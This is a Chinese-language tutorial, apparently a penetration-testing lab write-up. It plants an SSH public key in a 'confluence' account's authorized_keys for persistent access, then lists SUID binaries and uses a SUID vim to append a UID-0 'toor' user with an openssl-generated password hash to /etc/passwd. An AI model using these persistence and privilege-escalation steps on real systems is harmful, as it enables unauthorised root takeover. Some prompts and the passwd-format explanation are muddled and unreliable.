linux私钥免密登录和vim提权

现在客户端生成私钥和公钥

──(root㉿kali)-[~/桌面/rsa]
└─# ssh-keygen -t rsa    
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):   空格
Enter passphrase (empty for no passphrase):   空格 
Enter same passphrase again:   空格
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:   
SHA256:ma8K25FdBevQl/Ozmbm2f74CMWlZ6pS27SThV5M7NT8 root@kali
The key's randomart image is:
+---[RSA 3072]----+
|          .      |
|         . o o   |
|        . o @   .|
|         = # o =.|
|        S O * + *|
|       o o * + E.|
|    . o . . * = o|
|     + . .   o...|
|    . o..    .+==|
+----[SHA256]-----+

┌──(root㉿kali)-[~/桌面/rsa]
└─# ls -l /root/.ssh 
总用量 16
-rw------- 1 root root 2590  5月 21 13:10 id_rsa
-rw-r--r-- 1 root root  563  5月 21 13:10 id_rsa.pub    这个是公钥,需要上传到服务器端
-rw------- 1 root root  506  5月  9 14:40 known_hosts
-rw-r--r-- 1 root root  284  5月  9 14:39 known_hosts.old

┌──(root㉿kali)-[~/.ssh]
└─# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAA...省略...ODE1wZ0= root@kali

然后在服务器端操作

先创建/home/confluence/.ssh/authorized_keys

再把公钥写进去
echo 'ssh-rsa AAAB3NzaC1y...省略....zOE1wZ0= root@kali' >> /home/confluence/.ssh/authorized_keys

然后就可以在客户端进行免密连接了

┌──(root㉿kali)-[~/.ssh]
└─# ssh -i id_rsa [email protected]
The authenticity of host '10.103.93.92 (10.103.93.92)' can't be established.
ED25519 key fingerprint is SHA256:kUXE5oYjaMKMOM4LEU4AkuddRfE5rOXTewprv0EfQRc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.103.93.92' (ED25519) to the list of known hosts.
Last login: Sun May 21 17:05:25 2023 from 10.103.0.1
[confluence@localhost ~]$ id
uid=1001(confluence) gid=1001(confluence) 组=1001(confluence)
[confluence@localhost ~]$ 

这里就已经进来了,接下来就是提权了

先找一找
find / -user root -perm -4000 -print 2>/dev/null

[confluence@localhost ~]$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/timeout
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd

/usr/bin/vim

/usr/bin/vim.basic

/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
[confluence@localhost ~]$ 
利用vim提权

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户
passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell
这边可以看看root用户的格式
root:x:0:0:root:/root:/bin/bash
(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)

查看/etc/passwd文件属性,可读可写

┌──(root㉿kali)-[~]
└─# ls -al /etc/passwd
-rw-r--r-- 1 root root 3189 12月 9 03:44 /etc/passwd

生成密码
用openssl passwd -1 –salt asd 123     asd是盐   123才是密码

┌──(root㉿kali)-[~]
└─# openssl passwd -1 -salt asd 123
$1$asd$sTMDZlRI6L.jJEw2I.3x8.
=================================看一下密文有斜杠结尾有.结尾
┌──(root㉿kali)-[~]
└─# openssl passwd -1 -salt 123 123
$1$123$nE5gIYTYiF1PIXVOFjQaW/


:/var/lib/snmp:/bin/false
sslh:x:124:132::/nonexistent:/usr/sbin/nologin
nologin和false的都登陆不了,没权限

:/usr/sbin/nologin
这个是shell

passwd文件中的内容格式
账号:密码:过期时间:shell路径

toor:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:root:/toor:/bin/bash
这样我们就拼接出来一个完整的账号

wq保存,如果不行就wq!强制保存
如果wq!出现E212,那是提示我们没有权限

这个时候用之前find找到的vim.basic文件运行,这个程序是有suid权限的。绝对可以修改

可以看到已经添加了,su toor切换,密码123,再id查看一下权限

┌──(root㉿kali)-[~]
└─# su toor
root@kali:/root# 
root@kali:/root# id
用户id=0(root) 组id=0(root) 组=0(root)
root@kali:/root# 

你可能感兴趣的:(linux私钥免密登录和vim提权)